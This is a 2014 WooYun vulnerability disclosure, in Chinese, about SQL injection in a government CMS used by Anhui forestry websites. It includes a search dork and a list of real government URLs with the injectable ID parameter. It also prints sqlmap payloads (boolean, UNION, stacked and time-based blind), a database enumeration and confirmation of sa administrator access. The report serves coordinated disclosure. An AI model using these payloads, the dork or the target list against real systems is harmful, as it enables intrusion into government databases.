当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066332

漏洞标题：某政府CMS通用SQL注入漏洞（全为sa）

相关厂商：Cncert国家互联网应急中心

漏洞作者： 魇

提交时间：2014-07-07 18:33

修复时间：2014-10-05 18:34

公开时间：2014-10-05 18:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-07： 细节已通知厂商并且等待厂商处理中
2014-07-12： 厂商已经确认，细节仅向厂商公开
2014-07-15： 细节向第三方安全合作伙伴开放
2014-09-05： 细节向核心白帽子及相关领域专家公开
2014-09-15： 细节向普通白帽子公开
2014-09-25： 细节向实习白帽子公开
2014-10-05： 细节向公众公开

简要描述：

某政府CMS通用SQL注入漏洞（全为sa）

详细说明：

http://wooyun.org/bugs/wooyun-2010-054577 从U神提交的关键词搜到的站点 应该是同一厂商，这个走的前台，我提交的这个应该也行吧
1. 多用于安徽省内林业信息GOV站点，谷歌搜索语法：

inurl:zxzx_show.jsp?ID intitle:在线咨询


2. 提供案例仅供Cncert国家互联网应急中心测试（ID参数存在注入）：

http://www.ahly.gov.cn/hdcy/zxzx_show.jsp?ID=79  安徽林业信息网
http://www.ahhbly.gov.cn/hdcy/zxzx_show.jsp?ID=79 淮北市林业信息网
http://www.ahaqly.gov.cn/hdcy/zxzx_show.jsp?ID=304 安庆林业信息网
http://www.ahbbly.gov.cn/hdcy/zxzx_show.jsp?ID=28 蚌埠林业信息网
http://www.ahczly.gov.cn/hdcy/zxzx_show.jsp?ID=105 滁州市林业信息网
http://www.ahxcly.gov.cn/hdcy/zxzx_show.jsp?ID=124 宣城林业信息网
http://www.ahtlly.gov.cn/hdcy/zxzx_show.jsp?ID=34 铜陵林业信息网
http://www.ahfyly.gov.cn/hdcy/zxzx_show.jsp?ID=122 阜阳林业信息网
http://www.ahlaly.gov.cn/hdcy/zxzx_show.jsp?ID=53 六安市林业信息网
http://www.ahbzly.gov.cn/hdcy/zxzx_show.jsp?ID=42 亳州林业信息网
http://www.ahmasly.gov.cn/hdcy/zxzx_show.jsp?ID=30 马鞍山林业信息网
http://www.ahchizly.gov.cn/hdcy/zxzx_show.jsp?ID=133 池州林业信息网
http://www.ahwhly.gov.cn/hdcy/zxzx_show.jsp?ID=44 芜湖市林业信息网
http://www.ahhnly.gov.cn/hdcy/zxzx_show.jsp?ID=35 淮南市林业信息网
http://www.ahhflyj.gov.cn/hdcy/zxzx_show.jsp?ID=34 合肥市林业信息网
http://www.ahhsly.gov.cn/hdcy/zxzx_show.jsp?ID=34 黄山林业信息网
http://www.ahwhly.gov.cn/hdcy/zxzx_show.jsp?ID=34 芜湖林业信息网
http://www.ahszly.gov.cn/hdcy/zxzx_show.jsp?ID=34 宿州林业信息网

漏洞证明：

淮北市林业信息网为例：

q1.jpg


q2.jpg


---
Place: GET
Parameter: ID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=79 AND 1446=1446
    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: ID=-9120 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(114)+CHAR(107)+C
HAR(116)+CHAR(113)+CHAR(100)+CHAR(66)+CHAR(108)+CHAR(67)+CHAR(70)+CHAR(89)+CHAR(
73)+CHAR(70)+CHAR(85)+CHAR(74)+CHAR(113)+CHAR(115)+CHAR(108)+CHAR(104)+CHAR(113)
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ID=79; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ID=79 WAITFOR DELAY '0:0:5'--
---


available databases [25]:
[*] ahly_anqing
[*] ahly_bengbu
[*] ahly_bozhou
[*] ahly_chaohu
[*] ahly_chizhou
[*] ahly_chuzhou
[*] ahly_fuyang
[*] ahly_hefei
[*] ahly_huaibei
[*] ahly_huainan
[*] ahly_huangshan
[*] ahly_luan
[*] ahly_maanshan
[*] ahly_neinew
[*] ahly_suzhou
[*] ahly_tongling
[*] ahly_wuhu
[*] ahly_xuancheng
[*] distmodel
[*] lyj_xx
[*] master
[*] model
[*] msdb
[*] netweb_ahly
[*] tempdb


SA权限：

database management system users privileges:
[*] sa (administrator)


修复方案：

版权声明：转载请注明来源 魇@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-07-12 12:57

厂商回复：

CNVD确认并复现所述情况(为定制系统且为同一网站集群)，根据测试实例，已经转由CNCERT下发给安徽分中心，由其后续联系网站管理单位处置。rank 16

最新状态：

暂无